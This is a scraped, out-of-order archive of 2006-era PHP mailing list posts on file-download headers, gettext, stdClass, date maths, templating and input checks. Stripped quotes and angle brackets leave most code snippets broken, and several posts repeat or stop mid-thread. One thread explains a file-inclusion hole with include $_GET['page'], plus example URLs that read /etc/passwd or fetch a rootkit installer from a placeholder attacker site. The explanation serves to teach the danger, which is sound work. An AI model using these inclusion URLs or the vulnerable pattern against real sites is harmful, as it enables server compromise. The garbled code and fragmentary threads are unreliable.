Re: [PHP] Re: Setting headers for file download
I was working on a script that was supposed to generate PDF files on
the fly and ran into the same problem as you described. MS IE has
always been and will always be (?) a P.I.T.A. when it comes to
following standards (I am not really sure if the header application/x-
octet-steam is a standrad in order to force a download). I came up
with this little helper:
?php
$filename = example.pdf;
$len = filesize ($filename );
if ( ( preg_match('|MSIE ([0-9.]+)|', $agent, $version ) ) ||
( preg_match( '|Internet Explorer/([0-9.]+)|', $agent, $version ) ) )
{
header( 'Content-Type: application/x-msdownload' );
header( 'Content-Length: ' . $len );
if ( $version == '5.5' )
{
header( 'Content-Disposition: filename=' . $filename . '' );
} else {
header( 'Content-Disposition: attachment; filename=' . $filename .
'' );
}
} else {
header( 'Content-Type: application/pdf' );
header( 'Content-Length: ' . $len );
header( 'Content-disposition: attachment; filename=' . $filename );
}
echo file_get_contents($filename);
?
All browsers I have tested with do show the download frame (Opera,
Safari, IE, Firefox, Mozilla browsers). But, as Richard already
mentioned, I had to fake the download URL, like http://
www.site.com/downloads/example.pdf. In the folder downloads I put
a .htaccess file with the line ErrorDocument 404 /link/to/my/php/
script.php.

Re: [PHP] GetText string not found
Is strange that there is not a really good solution for this problem, i
think its not very strange. Maybe i ll request this feature, I think is
interesting, useful and not so hard to add.
Anyway, I cannot use ob_ functions, i ll have problems with some
functions.
So, the solution seems to extend _ function, that provides me the
posibility to report strings not found.
The bad think is that I ll have to make thousands of modifications in
order to implement this feature in the webpage :(
Thanks to everybody!

My experience, if you call it that, with gettext consists of reading
the manual and saying Neat!, so take this with a HUGE grain of
salt...
One option that MIGHT work would be:
function ___ ($string) {
//check for existince of the language file/string by hand :-(
}
Another option, perhaps, would be to have your default language be
something really... weird, and then the output itself would be icky...
I suppose you could do something hacky like:
?php
ob_start();
__'GETTEXT_START_MARKER This is the actual message GETTEXT_END_MARKER';
?
All code/html here.
?php
$output = ob_get_contents();
preg_match_all('/GETTEXT_START_MARKER (.*) GETEXT_END_MARKER/U',
$output, $gettexts);
foreach($gettexts[1] as $unknown){
error_log($unknown);
}
$output = str_replace(array('GETTEXT_START_MARKER ', '
GETTEXT_END_MARKER'), '', $output);
echo $output;
?
Ugh.
Maybe a Feature Request at GetText and/or bugs.php.net would be in
order...

I get the same result.

echo This message should NOT go to stdout of parent process\n;

It works fine using PHP version 5.0.4, but when using PHP version 5.1.2
the output of the child (This message) goes to stdout of the
parent process. So if I do:
php test.php output
Using PHP 5.1.2, the file contains:
---
Hello from parent
This message should NOT go to stdout of parent process
---
Can anybody explain this?

Just giving the browser the job to download that thing. Every browser likes to interpret every content-type like he wants to. They ignore mostly every type they dislike. According to the manual, header() will replace previous similar headers with the new one sent, which would be header(Content-Type: application/download); The optional replace parameter indicates whether the header should replace a previous similar header, or add a second header of the same type. By default it will replace, but if you pass in FALSE as the second argument you can force multiple headers of the same type [1]http://php.net/header As for the value of Content-Type it doesn't matter, you only have to specify an unknown (MIME) type so the browser won't know what to do with it, hence forcing to download the file. As minor notes (after reading a bit the RFC)... Expires is expected to be a date, not a number, and Pragma value conflicts with Cache-control, since... public Indicates that the response MAY be cached by any cache, even if it would normally be non-cacheable or cacheable only within a non- shared cache.

Content-Disposition is not part of the HTTP standard and Content-Transfer-Encoding is ignored, since both seem to be for e-mail usage (LOL) --and it's possible values are quoted-printable o base64--. Finally, Content-Length and Content-Type seem to apply only if had the request been a GET. Interesting what you learn reading the RFCs, too bad they're too long and sometimes not that clear.

Re: [PHP] Seeking recommendations for use of include()
Larry, Thank you for responding. $untrusted_var = '../../../../../../../etc/passwd'; include($untrusted_var); Or in later versions of PHP, I *think* the following may even work: $untrusted_var = 'http://evilsite.com/pub/evil.php'; include($untrusted_var); I'm still not sure I see the danger. By which I'm not saying that I deny there is danger, just that I don't see this. In both cases cited above, the malicious user has to write the code into my script that says to include($untrusted_var). And, again, it seems to me that if the malicious user has made it far enough to gain enough access to be able to do that, the damage is already done. They already have full access and full write capability, and could do any number of crazy things. I understand that I am being warned of a potential security risk, and I hope to come to understand it. But can someone show me more explicitly how someone could exploit a dynamic include() function with simple access through forms? And, can that access be exploited even when fairly common restrictions on form data is implemented (such as no tags and such)? -- Dave M G -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Simple class declaration returns error
PHP List,
I am in the preliminary stages of designing my first object oriented PHP
based web site.
I've created file called article.class and included it in my index.php
file. I put in a very simple echo statement, just as a place marker
before I put in the real code, and just to make sure that the index.php
file is successfully including the class.
So far, it just looks like this (including line numbers):
4. class article{
5. public function edit(){
6. echo test;
7. }
8. }
However, when I view my index.php, it says:
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION
or T_FUNCTION or T_VAR or '}' in /web/article.class on line 5
Of course I consulted the PHP manual to make sure that I had the class
syntax correct, and it seems that I've followed the basic structure as
described there.
Where have I gone wrong?
Thank you for any advice.

Re: [PHP] Calculating difference between two days
You could just parse the dates out and feed them to mktime(), subtract
the difference between the two (in seconds) and use that to determin the
number of days...
Something like:
?php
$date1=06/01/2006;
$date2 = date('m/d/Y');
echo $date1 -- $date2\n;
list($m,$d,$y) = explode(/,$date1);
$one = mktime(0,0,0,$m,$d,$y);
list($m,$d,$y)=explode(/,$date2);
$two = mktime(0,0,0,$m,$d,$y);
$diff = $two - $one;
$days = $diff / (60*60*24);
echo $days\n;

[PHP] Using PHP/HTML effectivly

I have a question to you experienced PHP developers, how do you mix the html/php together. When I've looked at things like the PHPBB forums, and gone through files they will have absolutly no HTML, just php code. I'm not sure how they manage their page styling, if anyone could explain this too me.

Re: [PHP] Using PHP/HTML effectivly
I'm guessing that phpBB is doing things the right way.. that is, separating presentation and logic. In cases like that, you have your PHP code and your HTML in separate files with as little 'logic' in the HTML as possible. I'm kind of oversimplifying the explaination and I'm sure there are more profressional php developers that can describe it more precisely, but the general theory is to let your programmers program and let your designers design and this is a way to keep them out of each other's hair and make the code and layout easier to maintain. Just because you change the graphics or layout of a page, doesn't mean you need a PHP developer to go in there and wade through the tangles of PHP code to do so. Most web design people are smart enough to understand things like make sure this input box is of this type and has this name and/or id and/or other kind of label. Even to keep basic PHP stuff like foreach loops intact when redesigning. They don't wanve to have to see all the database calls and array processing that we end up dealing with. Over simplfied example: ?php # editform.php - this form allows editing of a single record // connect to db // perform queries // process data // set some conditions include(editform.tpl); // include the template file with all the HTML ? head titleEdit Form/title /head body form action=someprocessor.php method=POST Username: input type=text name=username value=?php echo $username; ?br Is Active?: input type=checkbox name=isactive?php echo $isactivechecked; ? br /form /body This keeps minimal PHP code in the tpl (template) file and keeps it mostly HTML for easy editing without confusing a non-PHP oriented web developer. That's a really really basic example, but that's one general coding standard. One of these days I hope to actually get to work like that. I keep inheriting big projects that are too much of a mess already that they'd have to be re-written to work like that.. hah Good luck Alex! -TG = = = Original message = = = Hi List, I've been (very slowly) working my way through some basic php, and putting it into my html site.

Re: [PHP] Calculating difference between two days
Shouldn't be too difficult in PHP.
?php
$yesterday = date(m/d/y, mktime(0,0,0,date(m), date(d) - 1, date(y)));
$today = date(m/d/y);
$secondsdiff = strtotime($today) - strtotime($yesterday);
$minutesdiff = $secondsdiff / 60;
$hoursdiff = $minutesdiff / 60;
$daysdiff = $hoursdiff / 24;
echo Seconds difference: $secondsdiffbr\n;
echo Minutes difference: $minutesdiffbr\n;
echo Hours difference: $hoursdiffbr\n;
echo Days difference: $daysdiffbr\n;
?
And if you want a larger example to play with, here's something I did a couple
years ago (forgive the word wrapping and any unrefinedness.. it's something I
whipped up as a test when someone asked a similar question back then).
There's bound to be some way to do it in SQL as well, but unless there's a
specific function for it like the other example given by another member, then
you're likely to write a lot of really ugly SQL code to tackle the problem.

[PHP] declaring a class as stdClass?
Hi list, I hace an existencial doubt: i've seem many scripts declaring classes as stdClass. In the documentation (for PHP5 and also for 4), it says that this class is internal of php, and should't be used. By the manner I saw it's being used, i guess that it can be handy to create a 'generic' or so class, and append members when needed on the fly, without the need for a formal class declaration, but i could't find any good source explaining that.

That would be correct. At the moment I'm checking with
if (empty($_POST['var'])) { throw error flag }
But as I read up on empty() I realized that if one simply hits a
space and/or a return, empty() will fail.
off the top of my head, the functions strlen() and isset() come to mind.
Will look into them. Danke.

You can always 'trim' before you do the empty check. Just assign to a
variable first since empty doesn't do non-var expressions
$value = trim($value);
if (empty($value)) {
// error not filled in
}
Of course, you'll also want to validate the data type is a string or
number also, etc...and not an array. This is the goal of the up and

Mariano Guadagnini wrote:
Hi list,
I hace an existencial doubt: i've seem many scripts declaring classes
as stdClass. In the documentation (for PHP5 and also for 4), it says
that this class is internal of php, and should't be used. By the
manner I saw it's being used, i guess that it can be handy to create a
'generic' or so class, and append members when needed on the fly,
without the need for a formal class declaration, but i could't find
any good source explaining that. Has somebody some info about?
Also, along the lines of this same question, I can do this in PHP very
easily:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (object) $data;
print_r($data);
?
And my object is magically created for me as an instance of stdClass.
Is there a way to cast as some other type of class?
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (MyCustomClass) $data;
print_r($data);
?
I ask this because the cast in my first example, the (object) cast is
WAY faster than using the manual approach of:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$MYCLASS = new MyCustomClass();
foreach ($data as $key = $value)
$MYCLASS-$key = $value;
}

Re: [PHP] Checking for empty()

What's the best way to do this? Seems empty() will fail on a textarea if the user simply hits a space or return and submits the form. I often use trim() on *any* incoming data as the first step to sanitizing the data - that gets rid of the whitespace problem you describe. a second step often involves using strval(), intval(), floatval() et al. subsequent steps might involve funcs like striptags() to remove any HTML that some b** might be trying to XSS your site with. sidenote in the future the filter extension will provide robust, standardized ways to santize incoming data - I think it ill be a huge step forward. /sidenote -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Dave M G wrote: Larry, Thank you for responding. $untrusted_var = '../../../../../../../etc/passwd'; include($untrusted_var); Or in later versions of PHP, I *think* the following may even work: $untrusted_var = 'http://evilsite.com/pub/evil.php'; include($untrusted_var); I'm still not sure I see the danger. By which I'm not saying that I deny there is danger, just that I don't see this. In both cases cited above, the malicious user has to write the code into my script that says to include($untrusted_var). And, again, it seems to me that if the malicious user has made it far enough to gain enough access to be able to do that, the damage is already done. They already have full access and full write capability, and could do any number of crazy things. I understand that I am being warned of a potential security risk, and I hope to come to understand it. But can someone show me more explicitly how someone could exploit a dynamic include() function with simple access through forms? And, can that access be exploited even when fairly common restrictions on form data is implemented (such as no tags and such)? ::index.php ?php include $_GET['page']; ? ::urls (ignore the fact that stuff would need to be urlencoded..) http://yoursite.com/index.php?page=/etc/passwd http://yoursite.com/index.php?page=http://evilsite.com/installrootkit.php that is the most simple version of the problem, now consider that people can use security bugs in 3rd party apps to upload php files (or complete [scam] sites) which may not be directly accessible (e.g. in ../uploads relative to the webroot) then they may be able to do stuff like: http://yoursite.com/index.php?page=../uploads/rootkitinstallingphpfilepretendingtobeajpeg.jpg and what goes for GET also goes for POST and COOKIE. -- Dave M G -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Using PHP/HTML effectivly
This is my opinion on the matter...
From experience, I would say that mixing PHP and HTML together in a
complicated page can often get very ugly. I prefer to separate out
presentation and code into separate layers as much as possible.
I have most often used template systems such as Smarty (smarty.php.net)
for that. I use Smarty for work - I find it quite nice. It allows you to
separate your code from your presentation very effectively. It's easy to
use, and provides things like caching for performance.
However, I came to the realization recently that PHP itself is
essentially a very feature rich template system (nevermind the fact that
it's a well defined language. ;-)
By splitting up my most recent project into includes, templates, and
pages, I get a solution to the problem in pure PHP. In the end, code
looks like code, and HTML looks (almost) like HTML and both are
readable. (Same result as what Smarty gives you, without needing Smarty.)
Most pages look something like:
?php
include('include/data_functions.php');
if ($condition) {
$title = 'Here is Some Data!';
$data = getSomeData($var1,$var2);
} else {
$title = 'Here is the Other Data!';
$data = getOtherData($var1,$var2);
}
include('template/page.php');
?
And most templates look something like:
?php include('template/head.php'); ?
h1?= $title ?/h1
...
table
?php foreach ($data as $item) { ?
tr
td?= $item['part1'] ?/td

Re: [PHP] Calculating difference between two days

date(y)));
$today = date(m/d/y);
$secondsdiff = strtotime($today) - strtotime($yesterday);

$hoursdiff = $minutesdiff / 60;
$daysdiff = $hoursdiff / 24;
echo Seconds difference: $secondsdiffbr\n;
echo Minutes difference: $minutesdiffbr\n;
echo Hours difference: $hoursdiffbr\n;
echo Days difference: $daysdiffbr\n;
?
And if you want a larger example to play with, here's something I did a
couple years ago (forgive the word wrapping and any unrefinedness.. it's
something I whipped up as a test when someone asked a similar question
back then).
There's bound to be some way to do it in SQL as well, but unless there's a
specific function for it like the other example given by another member,
then you're likely to write a lot of really ugly SQL code to tackle the
problem.

no you'll have to reboot the machine first.
seriously though, have you tried it?
that said your [probably] better off just doing 1 query:
UPDATE members SET member_name = 'N/A' WHERE member_name = '';
that said your [probably] better off leaving the name empty or setting it NULL
if
it's unknown and showing 'N/A' in whatever output screen it's relevant for any

Re: [PHP] can I do this: update table while selecting data from table?
It looks very much as if you did:
update members set member_name = 'N/A' where member_name = null
Nevertheless, I would rather keep null within the database and use 'N/A' at
the presentation level. My rule is that the data in the database should
be in a machine oriented format. For example, I store timestamps, never
formated dates, numbers as actual numerical datatypes, not as strings,
though PHP can cope with either. 'N/A' is a way to present that information
to the user, which might even be, for example, language dependant.
On displaying, you could well do:
SELECT member_id, ifnull(member_name,'N/A') FROM members

CSS helps a LOT because I can use simple html tags like:
table
...
/table
And put the presentation code for the table in css. CSS seldom mixes with php
and it helps reduce the amount of code I have to review. Plus, css separates
look from performance (i.e., php/js/html) -- I can change one without
worrying about the other.
Typically, the amount of html code I have is far less than php. I often roll
html code segments (like header and footer) into php includes and keep them
tucked away so I don't have to look at anything except:
include(header.inc);
Now, there is html code that I have to mix into my php and I usually separate
it by using the method you first suggested, such as:
?php
... bunches of php code
?
bunches of html code
?php
... bunches more of php code
?
To me, that's easy to read and I have no problem mixing stuff that way.
Occasionally, I have to intermix html and php together in the same statement
such as filling text field from a dB, such as:
input type=text size=7 maxlength = 7 name=price value=?php
echo($price); ?
But, it's pretty clear that I'm using php to set what the value is in an html
statement.
Even fewer times, but I still do, I intermix css, js, html, and php all
together, such as:
td class=search_btn
input type=button value=Album
onclick=window.location='search.php?unique_id=?php echo($unique_id);?'
/td
But still, I think it's pretty clear what I'm doing. CSS takes care of how the
button looks; js takes care of what happens when the user clicks; php provides
something from the dB; and html is the glue that holds everything together.
They all work in concert.
One of the things I keep in mind is when I start using a lot of escape
characters (as you did above), then I'm not doing it the best way (IMO) and I
look for another solution.
I would much rather see code
?
table
...
/table
?php
Than to intermix it as you did.
Now, purest would like all languages to be separate and I can't argue with that
-- however -- if this is what it takes to get the job done, then what choice do
you have? I look at it all like it's one big language and that works for me --
others mileage may vary.

Re: [PHP] can I do this: update table while selecting data from table?

no you'll have to reboot the machine first.
seriously though, have you tried it?
that said your [probably] better off just doing 1 query:
UPDATE members SET member_name = 'N/A' WHERE member_name = '';
that said your [probably] better off leaving the name empty or setting it
NULL if
it's unknown and showing 'N/A' in whatever output screen it's relevant for
any
names that are found to be empty.

Re: [PHP] can I do this: update table while selecting data from table?
No, that was just an exapmle to explain better. Of course this is not the
REAL code. :)
And there are some more thing to do inside while loop.
Thanks.

It looks very much as if you did:
update members set member_name = 'N/A' where member_name = null
Nevertheless, I would rather keep null within the database and use 'N/A'
at
the presentation level. My rule is that the data in the database
should
be in a machine oriented format. For example, I store timestamps, never
formated dates, numbers as actual numerical datatypes, not as strings,
though PHP can cope with either. 'N/A' is a way to present that
information
to the user, which might even be, for example, language dependant.
On displaying, you could well do:
SELECT member_id, ifnull(member_name,'N/A') FROM members

Re: [PHP] declaring a class as stdClass?
To answer both of you:
$var = new stdClass();
is perfectly acceptable. I do it all the time. The caveat is that the
behavior is slightly different in PHP 4 than PHP 5.
In PHP 4, $var would behave exactly like an associative array, just with
different funky characters to access its properties. Internally, in fact,
they're represented the same.
In PHP 5, $var would behave exactly like an associative array, EXCEPT when
passing it as a parameter to a function. In PHP 4, objects pass by value by
default. In PHP 5, they pass by reference by default.
Also, yes, casting an object to an array or vice versa is much faster than
manually iterating it. So:
$var = (object)array('a'='foo', 'b'='bar', 'c'='baz');
Is perfectly acceptable. I've never tried casting to some other type of
class, though. Give it a try and let us know how it goes. :-)

Hi list,
I hace an existencial doubt: i've seem many scripts declaring classes
as stdClass. In the documentation (for PHP5 and also for 4), it says
that this class is internal of php, and should't be used. By the
manner I saw it's being used, i guess that it can be handy to create a
'generic' or so class, and append members when needed on the fly,
without the need for a formal class declaration, but i could't find
any good source explaining that. Has somebody some info about?
Also, along the lines of this same question, I can do this in PHP very
easily:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (object) $data;
print_r($data);
?
And my object is magically created for me as an instance of stdClass.
Is there a way to cast as some other type of class?
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (MyCustomClass) $data;
print_r($data);
?
I ask this because the cast in my first example, the (object) cast is
WAY faster than using the manual approach of:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$MYCLASS = new MyCustomClass();
foreach ($data as $key = $value)
$MYCLASS-$key = $value;
}
?

[PHP] Upgrade to PHP5 on Fedora Core
PHP List, My hosting service allows me enough access to do things like handle my own upgrades and full administrative access. Usually, because I am more of a web designer than an server administrator, I get their support staff to manage upgrades and installations. However, that does cost money, so I thought this time, if it's easy enough, I would try upgrading PHP myself. Currently my hosting service is running PHP Version 4.4.2, and I would like to upgrade to the latest stable build of PHP 5. At home, I use Ubuntu LTS, and to upgrade to PHP 5 I just used apt-get (with the Synaptic GUI) to upgrade. It was very easy. The hosting machine is using Fedora Core 1. I'm less familiar with Red Hat systems, but I do understand that yum is the equivalent of apt-get. So, I'm hoping I can just do: yum install php5 ... and be off and running. But because I don't really want to suffer any downtime, I hoped to get confirmation here on this list that this will work, and check if I need any other configuration options. If it makes a difference, I'm also running MySQL 5.0 on the system, and Apache 2. Is there anything else I need to know for a smooth upgrade to PHP 5? -- Dave M G -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
